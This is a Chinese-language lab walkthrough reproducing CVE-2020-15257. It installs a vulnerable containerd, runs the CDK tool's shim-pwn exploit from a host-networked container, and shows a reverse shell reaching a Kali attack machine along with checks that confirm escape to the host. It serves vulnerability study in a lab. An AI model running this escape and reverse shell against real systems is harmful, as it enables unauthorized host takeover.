环境说明
-
宿主机:Ubuntu 16.04 LTS(代号xenial)
-
攻击机:Kali Linux(IP:192.168.226.133)
-
漏洞信息:CVE-2020-15257(containerd 权限绕过漏洞,影响containerd < 1.3.9)
-
工具:CDK(容器渗透工具,v0.1.6)
一、更换中科大镜像源(加速下载)
1. 备份原有源列表
1
| sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
|
2. 替换为中科大xenial源
编辑源配置文件:
1
| sudo vim /etc/apt/sources.list
|
删除原有内容,粘贴以下配置(Ubuntu - USTC Mirror Help):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb https://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
|
保存退出(vim:Esc→:wq;nano:Ctrl+O→Enter→Ctrl+X)。
3. 更新软件包索引
二、安装 Docker 及漏洞版本 containerd
1. 安装依赖工具
1
| sudo apt install -y ca-certificates curl software-properties-common apt-transport-https
|
2. 添加 Docker 官方 GPG 密钥
1 2
| curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
|
3. 添加 Docker 源(适配 xenial)
1 2 3
| echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu xenial stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt update
|
4. 安装指定版本(漏洞环境核心)
需安装containerd < 1.3.9(此处用1.2.4),搭配兼容 Docker 版本:
1 2 3 4
| sudo apt install -y \ docker-ce=5:19.03.6~3-0~ubuntu-xenial \ docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial \ containerd.io=1.2.4-1
|
-
若出现依赖错误,修复后重试:
1 2
| sudo apt -f install sudo apt install -y docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
|
5. 验证安装结果
1 2 3 4 5
| docker --version
containerd --version
|
三、创建漏洞环境容器
1. 拉取 Ubuntu 18.04 镜像
1
| docker pull ubuntu:18.04
|
2. 启动带--net=host的容器(关键)
漏洞利用需容器共享宿主机网络命名空间:
1
| docker run -itd --net=host --name test ubuntu:18.04 /bin/bash
|
3. 确认容器状态
四、上传 CDK 工具到容器
1. 宿主机下载 CDK
1 2 3
| wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_v0.1.6_linux_amd64.tar.gz tar -zxf cdk_v0.1.6_linux_amd64.tar.gz
|
2. 复制到容器内
1 2
| docker cp cdk_linux_amd64 e4430654470e:/tmp
|
五、执行漏洞利用
1. 进入容器并准备 CDK
1 2 3 4 5
| docker exec -it e4430654470e /bin/bash
cd /tmp && chmod +x cdk_linux_amd64
|
2. 攻击机启动监听
在 Kali 攻击机上用nc监听反向连接端口:
3. 容器内执行逃逸命令
1 2
| ./cdk_linux_amd64 run shim-pwn 192.168.226.133 4444
|
六、验证逃逸结果
若漏洞利用成功,攻击机nc窗口会收到宿主机反向连接,通过以下方式验证是否逃逸至宿主机:
1. 攻击机连接反馈
1 2
| listening on [any] 4444 ... connect to [192.168.226.133] from (UNKNOWN) [192.168.226.154] 46826
|
此时进入交互式 Shell,可直接执行命令。
2. 验证当前环境为宿主机
| 操作 |
宿主机特征(预期结果) |
容器特征(未成功) |
hostname |
输出宿主机名(如lang-virtual-machine) |
输出容器 ID(如e4430654470e) |
ls /root |
显示宿主机 root 目录文件(如.bash_history) |
提示 “No such file or directory” |
cat /etc/issue |
输出 “Ubuntu 16.04.7 LTS \n \l” |
输出 “Ubuntu 18.04.6 LTS \n \l” |
ps aux |
grep docker |
显示 docker daemon 进程(如/usr/bin/dockerd) |
3. 成功标志
若上述命令输出符合宿主机特征,证明已从ubuntu:18.04容器成功逃逸至宿主机,漏洞复现完成。
